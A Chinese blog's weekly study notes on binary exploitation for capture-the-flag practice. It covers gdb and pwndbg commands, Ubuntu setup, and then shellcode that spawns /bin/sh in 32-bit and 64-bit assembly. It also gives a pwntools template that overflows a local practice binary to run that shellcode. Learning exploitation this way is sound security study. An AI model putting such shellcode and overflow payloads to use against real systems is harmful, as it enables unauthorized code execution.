Herman的博客

周报

2023.04.09

1. 继续上周gdb调试的学习

除了最基本的b:打断点;r:运行;c:继续...等指令,还有vmmap:打印链接库;libc:输出libc_base;stack:查看栈...
附上一位师傅博客上总结的GDB使用方法:

带源码调试: gdb -q [file] -d [path](默认为.)
2.下断点: b address
3.运行: r
4.继续: c
5.运行下一步: ni
6.打印链接库: vmmap
7.输出libc_base: libc
8.查看堆: heap,parseheap
9.查看bins: bin
10.查看address处的内存 x /nxg adress
11.打印地址/指针:p address
12.查看栈:stack length
13.查看地址:telescoope address
14.查看hex: hex address
15.格式化字符串偏移地址: fmtarg 


1.编译时开启调试模式
在编译C或C++程序时需要加上 -g 参数开启调试模式,例如:

gcc -g main.c -o main

2.启动gdb
在终端中输入 gdb 命令后,后面可以跟上要调试的可执行文件的路径,例如:

gdb /usr/local/bin/myprogram

3.设置断点
设置断点可以让调试器停止程序执行,以便我们检查当前状态和变量值。使用 break 命令可以在函数名、行号等位置设置断点,例如:

break main.c:25

4.运行程序
使用 run 命令启动程序,可以加上参数,例如:

run arg1 arg2

5.单步调试
使用 step 命令可以执行一行代码并进入函数内部,使用 next 命令可以执行一行代码不进入函数内部。例如:

step
next

6.查看变量值
使用 print 命令可以查看某个变量的值,例如:

print myvar

7.修改变量值
使用 set 命令可以修改某个变量的值,例如:

set myvar = 5

8.继续执行
使用 continue 命令可以继续执行程序直到遇到下一个断点或程序结束。例如:

continue

9.退出gdb
使用 quit 命令可以退出gdb。例如:

quit

参考链接

https://github.com/pwndbg/pwndbg
https://browserpwndbg.readthedocs.io/en/docs/
https://sourceware.org/gdb/current/onlinedocs/gdb.html/(官方文档)
https://wizardforcel.gitbooks.io/100-gdb-tips/content/index.html(100个gdb调试小技巧)

2.ubuntu美化

①装了oh-my-zsh来美化终端,装插件后还有代码自动补全功能。
安装和使用步骤具体参考:

https://blog.csdn.net/weixin_43971252/article/details/122225757
https://blog.csdn.net/zqqrx0546/article/details/114458725

②通过ssh实现在windows本地终端就能打pwn(再也不用打开那个有时候卡得遭不住的虚拟机了)
大概长这样?
image
③向探姬前辈取经发现了KDE这个好东西
通过一段时间的使用目前觉得有以下几个优点:
(1)更像windows界面,看着更舒服。
image
(2)解决了windows本地文件无法直接通过鼠标拖拽的方式直接传到ubuntu上去的问题(虽然直接复制粘贴也花不了太多时间),使得本地和虚拟机之间的文件交互更方便。

3.在博客园上搭建了自己的第一个博客

相对于在服务器上面部署自己的博客,博客园上创建自己的博客要简单很多,目前博客园能满足我的所有需求。如果以后有需要的话,才会去考虑搭建新博客。

2023.4.30

shellcode,shellcode常常使用机器语言编写。 可在暂存器eip溢出后,塞入一段可让CPU执行的shellcode机器码,让电脑可以执行攻击者的任意指令。
最简单的shellcode就是直接用C语言system函数来调用/bin/sh

# include <stdlib.h>
# include <unistd.h>
int main(void)
{
    system("/bin/sh");
    return 0;
}

32位的shellcode:
使用此shellcode的前提条件:(1)设置ebx指向/bin/sh(2)ecx=0,edx=0(3)eax=0xb(4)int 0x80触发中断。

global _start
_start:
    push "/sh"
    push "/bin"
    mov ebx, esp    ;;ebx="/bin/sh"
    xor edx, edx    ;;edx=0
    xor ecx, ecx    ;;ecx=0
    mov al, 0xb    ;;设置al=0xb,对应系统调用execve
   int 0x80

64位的shellcode:
使用此前提条件:(1)设置rdi指向/bin/sh(2)rsi=0,rdx=0(3)rax=0x3b(4)syscall 进行系统调用。64位不再用int 0x80触发中断,而是直接用syscall进行系统调用。

global _start
_start:    
    mov rbx, '/bin/sh'
    push rbx
    push rsp
    pop rdi
    xor esi, esi
    xor edx, edx
    push 0x3b
    pop rax
    syscall
用pwntools生成shellcode:
from pwn import*
shellcode=asm(shellcraft.sh())

exp模板:(以32位为例)

from pwn import *
p=process("./ret2shellcode")
#shellcode=asm(shellcraft.sh()) #自动生成shellcode
shellcode=asm("""
push 0x68
push 0x732f2f2f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
xor edx,edx
push 11
pop eax
int 0x80
""")#手动生成shellcode
payload=shellcode.ljust(xxx,'a')+p32(shell_ad)
p.sendline(payload)
p.interactive()
posted @ 2023-04-09 20:51  H3rm4n  阅读(43)  评论(0编辑  收藏  举报